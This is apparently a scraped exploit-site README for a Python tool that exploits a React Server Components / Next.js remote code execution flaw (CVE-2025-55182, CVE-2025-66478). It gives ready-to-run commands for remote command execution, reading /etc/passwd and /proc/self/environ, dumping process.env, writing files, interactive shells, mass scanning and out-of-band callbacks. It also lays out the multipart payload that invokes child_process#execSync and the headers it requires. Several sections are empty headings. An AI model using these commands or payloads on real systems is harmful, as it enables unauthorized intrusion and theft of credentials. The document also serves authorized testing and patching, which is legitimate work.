## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZEMARKHOS-CVE-2025-55182-EXPLOIT-POC-SCANNER
# CVE-2025-55182 - React Server Components RCE Exploit v2.0
A comprehensive security research tool for testing **CVE-2025-55182** and **CVE-2025-66478** vulnerabilities in React Server Components (RSC) and Next.js Server Actions.
## Vulnerability Overview
Property| Value
---|---
**CVE IDs**| CVE-2025-55182, CVE-2025-66478
**CVSS Score**| 10.0 (CRITICAL)
**Affected Versions**| React < 19.2.0, Next.js < 15.0.5
**Vulnerability Type**| Remote Code Execution (RCE)
**Attack Vector**| Network
## Features
* PortSwigger-style vulnerability scanning with multiple detection payloads
* Multiple RCE gadgets (execSync, spawnSync, vm.runInThisContext, etc.)
* Out-of-Band (OOB) callback testing for blind RCE verification
* File read/write capabilities
* JavaScript code execution
* Interactive shell mode
* Bulk scanning with multi-threading
* Proxy support (Burp Suite compatible)
* JSON/Text output formats
## Installation
### Requirements
root@kitploit:~
pip install requests
### Python Version
* Python 3.7 or higher
## Quick Start
root@kitploit:~
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
## Usage
### Command Line Arguments
root@kitploit:~
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
### Target Selection
Argument| Description| Example
---|---|---
`-u, --url`| Single target URL| `-u https://target.com`
`-l, --list`| File containing URLs| `-l targets.txt`
### Scanning Modes
Argument| Description
---|---
`--detect`| Detect Next.js/RSC usage
`--check`| Quick vulnerability check (math test)
### Exploitation
### Connection Options
### Output Options
Argument| Description
---|---
`-o, --output`| Save results to file (.json or .txt)
`-q, --quiet`| Suppress banner
## Scanning Examples
### Single Target
root@kitploit:~
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
### Bulk Scanning
root@kitploit:~
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
## Exploitation Examples
### Command Execution
root@kitploit:~
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
### File Operations
root@kitploit:~
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
### JavaScript Execution
root@kitploit:~
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
### Interactive Shell
root@kitploit:~
python3 exploit-custom.py -u https://target.com --shell
Shell commands:
## Available Gadgets
### RCE Gadgets
### File Gadgets
Name| Module ID| Description
---|---|---
`fs_readFileSync`| fs#readFileSync| Read arbitrary files
`fs_writeFileSync`| fs#writeFileSync| Write arbitrary files
### OOB Gadgets
Name| Description
---|---
`vm_fetch`| HTTP request via fetch API (Node 18+)
`vm_http`| HTTP request via http module
## Detection Payloads (CVE-2025-66478)
The `--scan` mode uses these PortSwigger-style detection payloads:
## OOB Callback Methods
The tool supports multiple OOB callback methods:
## Output Interpretation
### Terminal Colors
### Scan Results
root@kitploit:~
[VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
## Technical Details
### RSC Flight Format
The tool parses React Server Components' "flight format" responses:
root@kitploit:~
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
### Multipart Payload Structure
root@kitploit:~
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
### Required HTTP Headers
root@kitploit:~
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
## Patched Versions
### React
* 19.0.1, 19.1.2, 19.2.1
### Next.js
* 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
## Use Cases
### Bug Bounty
root@kitploit:~
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
### Penetration Testing
root@kitploit:~
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
## References
* Next.js Security Advisory - CVE-2025-66478
* Wiz Research - CVE-2025-55182
* PortSwigger Research
## Legal Disclaimer
This tool is provided for **authorized security testing** and **educational purposes only**.
**WARNING:** Unauthorized access to computer systems is illegal. Only use this tool on systems you own or have explicit written permission to test.
The authors are not responsible for any misuse or damage caused by this tool.
## License
This tool is released for security research and authorized penetration testing purposes.
* * *
**Author:** Ãœnsal Furkan Harani **Version:** 2.0